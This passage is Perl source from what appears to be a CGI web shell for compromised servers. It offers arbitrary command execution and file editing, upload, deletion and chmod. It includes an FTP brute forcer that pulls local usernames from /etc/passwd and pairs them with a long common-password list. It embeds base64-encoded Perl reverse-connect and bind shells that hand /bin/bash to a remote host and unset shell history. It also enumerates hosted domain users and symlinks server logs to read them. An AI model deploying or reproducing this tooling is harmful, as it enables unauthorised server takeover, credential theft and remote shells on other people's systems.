  880. while(<CommandOutput>)
  881. {
  882. $_ =~ s/(\n|\r\n)$//;
  883. $result .= &HtmlSpecialChars("$_\n");
  884. }
  885. $|=0;
  886. }
  887. else # show output after command completes
  888. {
  889. $result .= &HtmlSpecialChars('$Command');
  890. }
  891. if(!$WinNT)
  892. {
  893. alarm(0);
  894. }
  895. return $result;
  896. }
  897. #==============================================================================
  898. # Form Save File
  899. #==============================================================================
  900. sub SaveFileForm
  901. {
  902. my $result ="";
  903. substr($RunCommand,0,5)="";
  904. my $file=&trim($RunCommand);
  905. $save='<br><input name="a" type="submit" value="save" class="submit" >';
  906. $File=$CurrentDir.$PathSep.$RunCommand;
  907. my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  908. if(-w $File)
  909. {
  910. $rows="23"
  911. }else
  912. {
  913. $msg="<br><font style='font: 15pt Verdana; color: yellow;' > Permission denied!<font><br>";
  914. $rows="20"
  915. }
  916. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  917. $read=($WinNT)?"type":"less";
  918. $RunCommand = "$read \"$RunCommand\"";
  919. $result .= <<END;
  920. <form name="f" method="POST" action="$ScriptLocation">
  921.  
  922. <input type="hidden" name="d" value="$CurrentDir">
  923. $Prompt
  924. <input type="text" size="40" name="c">
  925. <input name="s" class="submit" type="submit" value="Enter">
  926. <br>Command: <run> $RunCommand </run>
  927. <input type="hidden" name="file" value="$file" > $save <br> $msg
  928. <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  929. END
  930.  
  931. $result .= &RunCmd;
  932. $result .= "</textarea>";
  933. $result .= "</form>";
  934. return $result;
  935. }
  936. #==============================================================================
  937. # Save File
  938. #==============================================================================
  939. sub SaveFile($)
  940. {
  941. my $Data= shift ;
  942. my $File= shift;
  943. $File=$CurrentDir.$PathSep.$File;
  944. if(open(FILE, ">$File"))
  945. {
  946. binmode FILE;
  947. print FILE $Data;
  948. close FILE;
  949. return 1;
  950. }else
  951. {
  952. return 0;
  953. }
  954. }
  955. #------------------------------------------------------------------------------
  956. # Brute Forcer Form
  957. #------------------------------------------------------------------------------
  958. sub BruteForcerForm
  959. {
  960. my $result="";
  961. $result .= <<END;
  962.  
  963. <table>
  964.  
  965. <tr>
  966. <td colspan="2" align="center">
  967. ####################################<br>
  968. Simple FTP brute forcer<br>
  969. ####################################
  970. <form name="f" method="POST" action="$ScriptLocation">
  971.  
  972. <input type="hidden" name="a" value="bruteforcer"/>
  973. </td>
  974. </tr>
  975. <tr>
  976. <td>User:<br><textarea rows="18" cols="30" name="user">
  977. END
  978. chop($result .= `less /etc/passwd | cut -d: -f1`);
  979. $result .= <<'END';
  980. </textarea></td>
  981. <td>
  982.  
  983. Pass:<br>
  984. <textarea rows="18" cols="30" name="pass">
  985. root
  986. root0
  987. rootme
  988. root321
  989. r00t
  990. root'123
  991. r00t123
  992. root12345
  993. root123
  994. root2015
  995. root!@#
  996. root123456
  997. root2016
  998. rooter
  999. redhat
  1000. rdp
  1001. rooter66
  1002. ro0t
  1003. r0ot
  1004. root2
  1005. root1234
  1006. rootx
  1007. redhat123
  1008. bin
  1009. best
  1010. blue
  1011. basket
  1012. basketball
  1013. bash
  1014. bitch
  1015. blast
  1016. daemon
  1017. debian
  1018. dev
  1019. deploy
  1020. deploy123
  1021. default
  1022. director
  1023. debian54321
  1024. demo3
  1025. developer
  1026. demo123
  1027. demo
  1028. adm
  1029. abcd123
  1030. abc
  1031. admin123
  1032. admin1234
  1033. asdasd123
  1034. abc123
  1035. asd
  1036. apache
  1037. abcdefg
  1038. admin'123
  1039. admin1
  1040. adm1234
  1041. admin
  1042. asdf
  1043. admin_egor
  1044. asdasd
  1045. abcd1234
  1046. adm123
  1047. abc1234
  1048. abrt
  1049. abcd
  1050. a1s2d3
  1051. asd123
  1052. admin!@#
  1053. administrator
  1054. asdfgh
  1055. abcdefgh12345
  1056. apache2
  1057. asdfgh123456
  1058. admin123456
  1059. postgrey
  1060. pa$$w0rd
  1061. p4ssw0rd
  1062. pussy
  1063. passw0rd
  1064. passwd
  1065. password
  1066. p@ssword
  1067. Passw0rd123
  1068. pass123
  1069. public1234
  1070. P@ssword!001
  1071. password123
  1072. pass
  1073. postgrid
  1074. postgres
  1075. P4ssw0rd123
  1076. Pa55w0rd
  1077. public123
  1078. password1
  1079. proxy
  1080. personal
  1081. postmaster
  1082. pc
  1083. public
  1084. P@ssw0rd123
  1085. pa$$w0rd123
  1086. pass1234
  1087. passwordx
  1088. p@ssw0rd
  1089. pa$$word
  1090. postfix
  1091. private
  1092. public1
  1093. perfect
  1094. pi
  1095. q1w2e3r4
  1096. q1w2e3
  1097. qwerty123
  1098. qwerty
  1099. qwe123
  1100. qazwsx
  1101. qqaazzxxssww
  1102. qweQwe
  1103. qwe123qwe
  1104. qazxsw
  1105. qweasdzxc
  1106. qwertyuiop
  1107. qwerty123456
  1108. lp
  1109. login
  1110. letmein
  1111. linux
  1112. sync
  1113. shutdown
  1114. secret12345
  1115. steam123
  1116. support
  1117. secret123
  1118. secret1234
  1119. sshd
  1120. site
  1121. secret123456
  1122. steam
  1123. saslauth
  1124. shellinabox
  1125. tcpdump
  1126. test2
  1127. toor
  1128. thelegion
  1129. teamspeak
  1130. toor123
  1131. tomcat
  1132. test1234
  1133. testtest
  1134. ts3srv
  1135. ts3
  1136. t3st3r
  1137. tomcat123
  1138. thelegion123
  1139. test123
  1140. ts3server
  1141. test
  1142. temp
  1143. testing
  1144. teamspeak3
  1145. t00r
  1146. testuser
  1147. test1
  1148. fifa
  1149. ftpftpuser
  1150. ftpftpadmin
  1151. football
  1152. forum
  1153. ftp
  1154. ftpasteriskftp
  1155. uucp
  1156. usr
  1157. ubuntu
  1158. ubnt
  1159. uploadupload
  1160. user
  1161. user123
  1162. monkey
  1163. mysql
  1164. minecraft
  1165. manager
  1166. mc
  1167. myssh1234
  1168. master
  1169. myssh123
  1170. monitor
  1171. mail
  1172. nobody
  1173. ntp
  1174. named
  1175. nagiosnagiosuser
  1176. nc
  1177. nagios
  1178. news
  1179. halt
  1180. haldaemon
  1181. http
  1182. hadoop123
  1183. hdhduser
  1184. hadoop
  1185. games
  1186. gopher
  1187. guest1234
  1188. git
  1189. guestaccount
  1190. guest
  1191. git123
  1192. ghost
  1193. gpgpadmin
  1194. guest123
  1195. vcsa
  1196. vagrant
  1197. vps
  1198. vmail
  1199. vps2015
  1200. vps123
  1201. vps2016
  1202. vnc
  1203. dbus
  1204. dovecot
  1205. dovenull
  1206. operator
  1207. opendkim
  1208. owner
  1209. oracle
  1210. oracle123
  1211. clam
  1212. csgo123
  1213. csserver
  1214. computer
  1215. centos
  1216. counterstrike
  1217. csgo
  1218. cstrike
  1219. connection
  1220. www-root
  1221. webwebadmin
  1222. wwwpassword
  1223. webster
  1224. webmaster
  1225. welcome
  1226. exim
  1227. 11111111
  1228. 1234
  1229. 12345x
  1230. 54321
  1231. 123456
  1232. 654321
  1233. 696969
  1234. 00000000
  1235. 123
  1236. 0000
  1237. 1111111111
  1238. 000000
  1239. 12345
  1240. 111111
  1241. 111111111
  1242. 123ewqasdcxz
  1243. 1q2w3e4r5t
  1244. 1234!@#$
  1245. 666666
  1246. 123qwe
  1247. 123QweQWE
  1248. 123456789
  1249. 1qaz2wsx
  1250. 123456qwerty
  1251. 1qaz@wsx
  1252. 1qaz@WSX3edc
  1253. 12345678
  1254. 112233
  1255. 1111
  1256. 123123
  1257. 123qweQWE
  1258. 1234567890
  1259. 12qwas
  1260. 1a2s3d4f
  1261. 12345678
  1262. 1a2s3d
  1263. 123!@#
  1264. 123qwe123
  1265. 2000
  1266. 6969
  1267. 1q2w3e4r
  1268. 12wqasxz
  1269. 1q2w3e
  1270. 440vconu8ihu
  1271. 1qazxsw2
  1272. !@#$
  1273. zabbix
  1274. !@#$%^
  1275. info
  1276. !@#$%^&*
  1277. @#$%^&*!()
  1278. !@#$%^&*()
  1279. iloveyou</textarea>
  1280. </td>
  1281. </tr>
  1282. <tr>
  1283. <td colspan="2" align="center">
  1284. Sleep:<select name="sleep">
  1285.  
  1286. <option>0</option>
  1287. <option>1</option>
  1288. <option>2</option>
  1289.  
  1290. <option>3</option>
  1291. </select>
  1292. <input type="submit" class="submit" value="Brute Forcer"/></td></tr>
  1293. </form>
  1294. </table>
  1295. END
  1296. return $result;
  1297. }
  1298. #------------------------------------------------------------------------------
  1299. # Brute Forcer
  1300. #------------------------------------------------------------------------------
  1301. sub BruteForcer
  1302. {
  1303. my $result="";
  1304. $Server=$ENV{'SERVER_ADDR'};
  1305. if($in{'user'} eq "")
  1306. {
  1307. $result .= &BruteForcerForm;
  1308. }else
  1309. {
  1310. use Net::FTP;
  1311. @user= split(/\n/, $in{'user'});
  1312. @pass= split(/\n/, $in{'pass'});
  1313. chomp(@user);
  1314. chomp(@pass);
  1315. $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  1316. foreach $username (@user)
  1317. {
  1318. if(!($username eq ""))
  1319. {
  1320. foreach $password (@pass)
  1321. {
  1322. $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  1323. if($ftp->login("$username","$password"))
  1324. {
  1325. $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  1326. $ftp->quit();
  1327. break;
  1328. }
  1329. if(!($in{'sleep'} eq "0"))
  1330. {
  1331. sleep(int($in{'sleep'}));
  1332. }
  1333. $ftp->quit();
  1334. }
  1335. }
  1336. }
  1337. $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  1338. }
  1339. return $result;
  1340. }
  1341. #------------------------------------------------------------------------------
  1342. # Backconnect Form
  1343. #------------------------------------------------------------------------------
  1344. sub BackBindForm
  1345. {
  1346. return <<END;
  1347. <br><br>
  1348.  
  1349. <table>
  1350. <tr>
  1351. <form name="f" method="POST" action="$ScriptLocation">
  1352. <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
  1353. <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  1354. Port: <input type="text" size="7" name="clientport" value="80" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  1355.  
  1356. <td><input name="s" class="submit" type="submit" name="submit" value="Connect"></td>
  1357. </form>
  1358. </tr>
  1359. <tr>
  1360. <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  1361. <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a>
  1362. <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>
  1363.  
  1364. </tr>
  1365. </table>
  1366.  
  1367. <br><br>
  1368. <table>
  1369. <tr>
  1370. <form method="POST" action="$ScriptLocation">
  1371. <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  1372.  
  1373. <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  1374.  
  1375. Password: <input type="text" size="15" name="bindpass" value="THIEUGIABUON"></td>
  1376. <td><input name="s" class="submit" type="submit" name="submit" value="Bind"></td>
  1377. </form>
  1378. </tr>
  1379. <tr>
  1380. <td colspan=3><font color=#FFFFFF>[+] Chuc nang chua dc test!
  1381. <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>
  1382.  
  1383. </tr>
  1384. </table><br>
  1385. END
  1386. }
  1387. #------------------------------------------------------------------------------
  1388. # Backconnect use perl
  1389. #------------------------------------------------------------------------------
  1390. sub BackBind
  1391. {
  1392. use MIME::Base64;
  1393. use Socket;
  1394. $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7";
  1395. $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  1396.  
  1397. $ClientAddr = $in{'clientaddr'};
  1398. $ClientPort = int($in{'clientport'});
  1399. if($ClientPort eq 0)
  1400. {
  1401. return &BackBindForm;
  1402. }elsif(!$ClientAddr eq "")
  1403. {
  1404. $Data=decode_base64($backperl);
  1405. if(-w "/tmp/")
  1406. {
  1407. $File="/tmp/backconnect.pl";
  1408. }else
  1409. {
  1410. $File=$CurrentDir.$PathSep."backconnect.pl";
  1411. }
  1412. open(FILE, ">$File");
  1413. print FILE $Data;
  1414. close FILE;
  1415. system("perl backconnect.pl $ClientAddr $ClientPort");
  1416. unlink($File);
  1417. exit 0;
  1418. }else
  1419. {
  1420. $Data=decode_base64($bindperl);
  1421. if(-w "/tmp")
  1422. {
  1423. $File="/tmp/bindport.pl";
  1424. }else
  1425. {
  1426. $File=$CurrentDir.$PathSep."bindport.pl";
  1427. }
  1428. open(FILE, ">$File");
  1429. print FILE $Data;
  1430. close FILE;
  1431. system("perl bindport.pl $ClientPort");
  1432. unlink($File);
  1433. exit 0;
  1434. }
  1435. }
  1436. #------------------------------------------------------------------------------
  1437. # Array List Directory
  1438. #------------------------------------------------------------------------------
  1439. sub RmDir($)
  1440. {
  1441. my $dir = shift;
  1442. if(opendir(DIR,$dir))
  1443. {
  1444. while($file = readdir(DIR))
  1445. {
  1446. if(($file ne ".") && ($file ne ".."))
  1447. {
  1448. $file= $dir.$PathSep.$file;
  1449. if(-d $file)
  1450. {
  1451. &RmDir($file);
  1452. }
  1453. else
  1454. {
  1455. unlink($file);
  1456. }
  1457. }
  1458. }
  1459. closedir(DIR);
  1460. }
  1461. if(!rmdir($dir))
  1462. {
  1463.  
  1464. }
  1465. }
  1466. sub FileOwner($)
  1467. {
  1468. my $file = shift;
  1469. if(-e $file)
  1470. {
  1471. ($uid,$gid) = (stat($file))[4,5];
  1472. if($WinNT)
  1473. {
  1474. return "???";
  1475. }
  1476. else
  1477. {
  1478. $name=getpwuid($uid);
  1479. $group=getgrgid($gid);
  1480. return $name."/".$group;
  1481. }
  1482. }
  1483. return "???";
  1484. }
  1485. sub ParentFolder($)
  1486. {
  1487. my $path = shift;
  1488. my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1489. chop($path = `$Comm`);
  1490. return $path;
  1491. }
  1492. sub FilePerms($)
  1493. {
  1494. my $file = shift;
  1495. my $ur = "-";
  1496. my $uw = "-";
  1497. if(-e $file)
  1498. {
  1499. if($WinNT)
  1500. {
  1501. if(-r $file){ $ur = "r"; }
  1502. if(-w $file){ $uw = "w"; }
  1503. return $ur . " / " . $uw;
  1504. }else
  1505. {
  1506. $mode=(stat($file))[2];
  1507. $result = sprintf("%04o", $mode & 07777);
  1508. return $result;
  1509. }
  1510. }
  1511. return "0000";
  1512. }
  1513. sub FileLastModified($)
  1514. {
  1515. my $file = shift;
  1516. if(-e $file)
  1517. {
  1518. ($la) = (stat($file))[9];
  1519. ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1520. $y = $y + 1900;
  1521. @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1522. $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1523. return $lmtime;
  1524. }
  1525. return "???";
  1526. }
  1527. sub FileSize($)
  1528. {
  1529. my $file = shift;
  1530. if(-f $file)
  1531. {
  1532. return -s $file;
  1533. }
  1534. return "0";
  1535.  
  1536. }
  1537. sub ParseFileSize($)
  1538. {
  1539. my $size = shift;
  1540. if($size <= 1024)
  1541. {
  1542. return $size. " B";
  1543. }
  1544. else
  1545. {
  1546. if($size <= 1024*1024)
  1547. {
  1548. $size = sprintf("%.02f",$size / 1024);
  1549. return $size." KB";
  1550. }
  1551. else
  1552. {
  1553. $size = sprintf("%.2f",$size / 1024 / 1024);
  1554. return $size." MB";
  1555. }
  1556. }
  1557. }
  1558. sub trim($)
  1559. {
  1560. my $string = shift;
  1561. $string =~ s/^\s+//;
  1562. $string =~ s/\s+$//;
  1563. return $string;
  1564. }
  1565. sub AddSlashes($)
  1566. {
  1567. my $string = shift;
  1568. $string=~ s/\\/\\\\/g;
  1569. return $string;
  1570. }
  1571. sub ListDir
  1572. {
  1573. my $path = $CurrentDir.$PathSep;
  1574. $path=~ s/\\\\/\\/g;
  1575. my $result = "<form name='f' action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
  1576. if(-d $path)
  1577. {
  1578. my @fname = ();
  1579. my @dname = ();
  1580. if(opendir(DIR,$path))
  1581. {
  1582. while($file = readdir(DIR))
  1583. {
  1584. $f=$path.$file;
  1585. if(-d $f)
  1586. {
  1587. push(@dname,$file);
  1588. }
  1589. else
  1590. {
  1591. push(@fname,$file);
  1592. }
  1593. }
  1594. closedir(DIR);
  1595. }
  1596. @fname = sort { lc($a) cmp lc($b) } @fname;
  1597. @dname = sort { lc($a) cmp lc($b) } @dname;
  1598. $result .= "<div><table width='90%' class='listdir'>
  1599.  
  1600. <tr style='background-color: #3e3e3e'><th>File Name</th>
  1601. <th style='width:100px;'>File Size</th>
  1602. <th style='width:150px;'>Owner</th>
  1603. <th style='width:100px;'>Permission</th>
  1604. <th style='width:150px;'>Last Modified</th>
  1605. <th style='width:260px;'>Action</th></tr>";
  1606. my $style="line";
  1607. my $i=0;
  1608. foreach my $d (@dname)
  1609. {
  1610. $style= ($style eq "line") ? "notline": "line";
  1611. $d = &trim($d);
  1612. $dirname=$d;
  1613. if($d eq "..")
  1614. {
  1615. $d = &ParentFolder($path);
  1616. }
  1617. elsif($d eq ".")
  1618. {
  1619. $d = $path;
  1620. }
  1621. else
  1622. {
  1623. $d = $path.$d;
  1624. }
  1625. $result .= "<tr class='$style'>
  1626.  
  1627. <td id='File_$i' style='font: 11pt Verdana; font-weight: bold;'><a href='?a=gui&d=".$d."'>[ ".$dirname." ]</a></td>";
  1628. $result .= "<td>DIR</td>";
  1629. $result .= "<td style='text-align:center;'>".&FileOwner($d)."</td>";
  1630. $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1631. $result .= "<td style='text-align:center;'>".&FileLastModified($d)."</td>";
  1632. $result .= "<td style='text-align:center;'><a href='javascript:return false;' onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."')\">Rename</a> | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=$path&remove=$dirname'>Remove</a></td>";
  1633. $result .= "</tr>";
  1634. $i++;
  1635. }
  1636. foreach my $f (@fname)
  1637. {
  1638. $style= ($style eq "line") ? "notline": "line";
  1639. $file=$f;
  1640. $f = $path.$f;
  1641. $view = "?dir=".$path."&view=".$f;
  1642. $result .= "<tr class='$style'><td id='File_$i' style='font: 11pt Verdana;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>".$file."</a></td>";
  1643. $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1644. $result .= "<td style='text-align:center;'>".&FileOwner($f)."</td>";
  1645. $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1646. $result .= "<td style='text-align:center;'>".&FileLastModified($f)."</td>";
  1647. $result .= "<td style='text-align:center;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>Edit</a> | <a href='javascript:return false;' onclick=\"rename_form($i,'$file','f')\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=$path&remove=$file'>Remove</a></td>";
  1648. $result .= "</tr>";
  1649. $i++;
  1650. }
  1651. $result .= "</table></div>";
  1652. }
  1653. return $result;
  1654. }
  1655. #------------------------------------------------------------------------------
  1656. # Try to View List User
  1657. #------------------------------------------------------------------------------
  1658. sub ViewDomainUser
  1659. {
  1660. open (domains, '/etc/named.conf') or $err=1;
  1661. my @cnzs = <domains>;
  1662. close d0mains;
  1663. my $style="line";
  1664. my $result="<h5><font style='font: 15pt Verdana;color: #ff9900;'>SianTarUniX</font></h5>";
  1665. if ($err)
  1666. {
  1667. $result .= ('<p>C0uldn\'t Bypass it , Sorry</p>');
  1668. return $result;
  1669. }else
  1670. {
  1671. $result .= '<table><tr><th>Domains</th> <th>User</th></tr>';
  1672. }
  1673. foreach my $one (@cnzs)
  1674. {
  1675. if($one =~ m/.*?zone "(.*?)" {/)
  1676. {
  1677. $style= ($style eq "line") ? "notline": "line";
  1678. $filename= "/etc/valiases/".$one;
  1679. $owner = getpwuid((stat($filename))[4]);
  1680. $result .= '<tr class="$style" width=50%><td>'.$one.' </td><td> '.$owner.'</td></tr>';
  1681. }
  1682. }
  1683. $result .= '</table>';
  1684. return $result;
  1685. }
  1686. #------------------------------------------------------------------------------
  1687. # View Log
  1688. #------------------------------------------------------------------------------
  1689. sub ViewLog
  1690. {
  1691. if($WinNT)
  1692. {
  1693. return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>";
  1694. }
  1695. my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1696. my @pathlog=(
  1697. '/usr/local/apache/logs/error_log',
  1698. '/var/log/httpd/error_log',
  1699. '/usr/local/apache/logs/access_log'
  1700. );
  1701. my $i=0;
  1702. my $perms;
  1703. my $sl;
  1704. foreach my $log (@pathlog)
  1705. {
  1706. if(-w $log)
  1707. {
  1708. $perms="OK";
  1709. }else
  1710. {
  1711. chop($sl = `ln -s $log error_log_$i`);
  1712. if(&trim($ls) eq "")
  1713. {
  1714. if(-r $ls)
  1715. {
  1716. $perms="OK";
  1717. $log="error_log_".$i;
  1718. }
  1719. }else
  1720. {
  1721. $perms="<font style='color: red;'>Cancel<font>";
  1722. }
  1723. }
  1724. $result .=<<END;
  1725. <tr>
  1726.  
  1727. <form action="" method="post">
  1728. <td><input type="text" onkeyup="document.getElementById('log_$i').value='less ' + this.value;" value="$log" size='50'/></td>
  1729. <td><input class="submit" type="submit" value="Try" /></td>
  1730. <input type="hidden" id="log_$i" name="c" value="less $log"/>
  1731. <input type="hidden" name="a" value="command" />
  1732. <input type="hidden" name="d" value="$CurrentDir" />
  1733. </form>
  1734. <td>$perms</td>
  1735.  
  1736. </tr>
  1737. END
  1738. $i++;
  1739. }
  1740. $result .="</table>";
  1741. return $result;
  1742. }
  1743. #------------------------------------------------------------------------------
  1744. # Main Program - Execution Starts Here
  1745. #------------------------------------------------------------------------------
  1746. &ReadParse;
  1747. &GetCookies;
  1748.  
  1749. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1750. $ServerName = $ENV{'SERVER_NAME'};
  1751. $LoginPassword = $in{'p'};
  1752. $RunCommand = $in{'c'};
  1753. $TransferFile = $in{'f'};
  1754. $Options = $in{'o'};
  1755. $Action = $in{'a'};
  1756.  
  1757. $Action = "command" if($Action eq ""); # no action specified, use default
  1758.  
  1759. # get the directory in which the commands will be executed
  1760. $CurrentDir = &trim($in{'d'});
  1761. # mac dinh xuat thong tin neu ko co lenh nao!
  1762. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1763. chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1764.  
  1765. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1766.  
  1767. if($Action eq "login" || !$LoggedIn) # user needs/has to login
  1768. {
  1769. &PerformLogin;
  1770. }elsif($Action eq "gui") # GUI directory
  1771. {
  1772. &PrintPageHeader;
  1773. if(!$WinNT)
  1774. {
  1775. $chmod=int($in{'chmod'});
  1776. if(!($chmod eq 0))
  1777. {
  1778. $chmod=int($in{'chmod'});
  1779. $file=$CurrentDir.$PathSep.$TransferFile;
  1780. chop($result= `chmod $chmod "$file"`);
  1781. if(&trim($result) eq "")
  1782. {
  1783. print "<run> Done! </run><br>";
  1784. }else
  1785. {
  1786. print "<run> Sorry! You dont have permissions! </run><br>";
  1787. }
  1788. }
  1789. }
  1790. $rename=$in{'rename'};
  1791. if(!$rename eq "")
  1792. {
  1793. if(rename($TransferFile,$rename))
  1794. {
  1795. print "<run> Done! </run><br>";
  1796. }else
  1797. {
  1798. print "<run> Sorry! You dont have permissions! </run><br>";
  1799. }
  1800. }
  1801. $remove=$in{'remove'};
  1802. if($remove ne "")
  1803. {
  1804. $rm = $CurrentDir.$PathSep.$remove;
  1805. if(-d $rm)
  1806. {
  1807. &RmDir($rm);
  1808. }else
  1809. {
  1810. if(unlink($rm))
  1811. {
  1812. print "<run> Done! </run><br>";
  1813. }else
  1814. {
  1815. print "<run> Sorry! You dont have permissions! </run><br>";
  1816. }
  1817. }
  1818. }
  1819. print &ListDir;
  1820.  
  1821. }
  1822. elsif($Action eq "command") # user wants to run a command
  1823. {
  1824. &PrintPageHeader("c");
  1825. print &ExecuteCommand;
  1826. }
  1827. elsif($Action eq "save") # user wants to save a file
  1828. {
  1829. &PrintPageHeader;
  1830. if(&SaveFile($in{'data'},$in{'file'}))
  1831. {
  1832. print "<run> Done! </run><br>";
  1833. }else
  1834. {
  1835. print "<run> Sorry! You dont have permissions! </run><br>";
  1836. }
  1837. print &ListDir;
  1838. }
  1839. elsif($Action eq "upload") # user wants to upload a file
  1840. {
  1841. &PrintPageHeader;
  1842.  
  1843. print &UploadFile;
  1844. }
  1845. elsif($Action eq "backbind") # user wants to back connect or bind port
  1846. {
  1847. &PrintPageHeader("clientport");
  1848. print &BackBind;
  1849. }
  1850. elsif($Action eq "bruteforcer") # user wants to brute force
  1851. {
  1852. &PrintPageHeader;
  1853. print &BruteForcer;
  1854. }elsif($Action eq "download") # user wants to download a file
  1855. {
  1856. print &DownloadFile;
  1857. }elsif($Action eq "checklog") # user wants to view log file
  1858. {
  1859. &PrintPageHeader;
  1860. print &ViewLog;
  1861.  
  1862. }elsif($Action eq "domainsuser") # user wants to view list user/domain
  1863. {
  1864. &PrintPageHeader;
